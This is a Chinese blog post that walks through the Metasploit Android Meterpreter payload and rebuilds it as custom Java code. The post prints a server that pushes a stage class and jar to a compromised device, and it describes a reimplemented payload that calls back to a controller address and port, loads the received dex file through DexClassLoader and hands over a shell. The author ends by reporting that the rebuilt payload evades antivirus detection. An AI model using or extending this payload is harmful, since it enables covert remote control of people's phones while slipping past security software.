/文章作者:MG193.7
CNBLOG博客ID:ALDYS4
QQ:3496925334/
在读者阅读本文章前,建议先阅读笔者之前写的一篇对安卓载荷的分析文章
【逆向&编程实战】Metasploit安卓载荷运行流程分析_复现meterpreter模块接管shell
在笔者之前已经对Metasploit中的安卓载荷(以下简称Payload)进行了分析,已经明确了meterpreter模块如何对中马机下达命令的原理
先重温一遍Payload如何接收远控端发送的数据并执行相应命令的代码
如图,反编译Payload后,通读图中的a方法可以发现此方法用于接收和处理主控端向中马机发送的数据,
请注意用红线标记处,
其中一个变量名称为str5的成员,它调用了另一个名为a的方法(这个a方法是用于处理接收的数据的),
并且将用于接收数据的DataInputStream实例传入此方法,
还有其中的arrayOfByte成员也用同样的方法调用了a方法
请仔细观察代码,你会发现这两个用红线标记的变量至关重要
继续向下阅读代码,你会发现程序通过新建一个DexClassLoader对象实例化了一个Class对象
接着程序将几个参数传入刚刚新建的DexClassLoader对象,而传入其中的参数正是刚刚用红线标记的变量
而其中的str5成员被调用了loadClass方法
由此可知str5成员就是DexClassLoader需要加载的类信息
同理,观察代码可知arrayOfByte正是接收的dex文件
查看用于处理数据的a方法,可以看到只是对传来的字节进行了处理,并且返回了一个byte对象
那么结合我之前的分析文章可以就确定Payload接受控制的流程了
[1].接收传来的数据,转为byte
[2].处理byte,输出为String或者dex文件
[3].动态加载Dex文件
在理解了这些流程后
笔者利用java代码复现了meterpreter模块对中马机下达命令的代码
接下来重温一遍代码内容
public class Main { public static void main(String[] arg) throws Exception { ServerSocket serverSocket=new ServerSocket(1568); System.out.println("build a server in port of 1568"); Socket socket=serverSocket.accept(); System.out.println("msf get in!"); DataOutputStream outputStream=getOutPutStream(socket); sendPayload(outputStream, "androidpayload.stage.Shell", "C:/aaw.jar"); System.out.println("Over!"); } public static DataOutputStream getOutPutStream(Socket socket) throws IOException { System.out.println("[!]-->getOutputStream!"); return new DataOutputStream(socket.getOutputStream()); } public static void sendPayload(DataOutputStream outputStream,String clazz,String injectJar) throws Exception { int clazz_length = clazz.length(); System.out.println("[*]class length-->"+clazz_length); File file=new File(injectJar); int inject_length=(int) file.length(); System.out.println("[*]injectJar length-->"+inject_length); byte[] file_b=getFile(file); outputStream.writeInt(clazz_length); System.out.println("[*]send class length..."); outputStream.write(clazz.getBytes()); System.out.println("[*]send class..."); outputStream.writeInt(inject_length); System.out.println("[*]send injectJar length"); outputStream.write(file_b); System.out.println("[*]send injectJar..."); } }
代码很简洁,就是依照Payload接收数据及处理数据的形式写出的代码
读者可以简单看看代码,这里就不再废口舌进行解释,如要看详细解释,请查看笔者之前的博客
在重温运行原理后,构建代码的思路就清晰了很多
如果我想要像Payload那样处理数据并执行命令
就必须先实现其处理传递来数据的a方法
这里重新放出a方法的代码
一步步进行分析
先查看第一处与第二处红线标记处
程序对输入流调用了readInt方法,并且传入了一个byte变量,限制了byte的长度
接着程序调用了一个for循环
并且在for循环内向被限制了长度的byte变量写入数据,接着跳出循环,返回一个byte
程序的大概意思就是接收完数据后就立刻停止循环,保持输入流开启但是不用再去管输入流
回头看看载荷核心代码
str5和arrayOfByte成员都完整接收了数据,并且arrayOfByte传入File实例中,输出文件在其私有目录
最后加载dex文件的同时加载str5指定的类
这样就好办了,在编写代码时我可以只调用这两个方法
放上构建后的代码
如图,成员shell_back_address与shell_back_port成员正是傀儡机需要回弹的地址和端口
通过查看代码不难得知,我实例化了一个Socket,并且将这两个成员传入Socket,使得程序主动向控制机建立一条连接
接下来我分别调用了getInputStream方法和getOutputStream方法实例化了两个流
并且向runNextStage方法内相应传入了两个相应的实例
也就是说runNextStage方法内的代码就是处理控制端与傀儡机的数据流了
查看runNextStage方法
可以看到,其中成员classFile向getJarshell方法内传入一个输入流,而这个方法正是模仿MSF安卓载荷中的a方法来处理输入流的
而stageBytes正是接收到的jar文件的byte数组了,在接下来的代码,我将这个数组以文件形式输出至软件私有目录
接下来就是重点了
.实例Class通过新创建的对象DexClassLoader获取了需要加载的dex文件的指定类
接着将对象传入Object实例,最后调用了指定类的start方法,传入相应的值
如果有阅读过我之前文章的,就会知道meterpreter向傀儡机传输的dex文件的指定类中,就有一个start方法
重新回顾一下meterpreter传输的用于获取傀儡机shell的dex文件
start方法内需要传入输入流和输出流,并进行一些处理以达到利用特定的代码控制傀儡机载荷做出相应行为的目的,
所以在复现安卓载荷代码时,也同样需要调用这个方法
接下来看看getJarshell方法
可以看到我处理数据的方法基本和MSF安卓载荷原代码一样
仍然是先读取控制端发送的数据总长度
接着向byte数值内写入控制端传入的相应长度的数据
编译项目,运行
接着在看看meterpreter监听的指定端口的情况
meterpreter模块成功通过我复现的傀儡机代码控制了傀儡机程序
成功接收了shell!
复现的载荷
MSF的原载荷文件
可以看到对比原载荷已经有了理想的免杀效果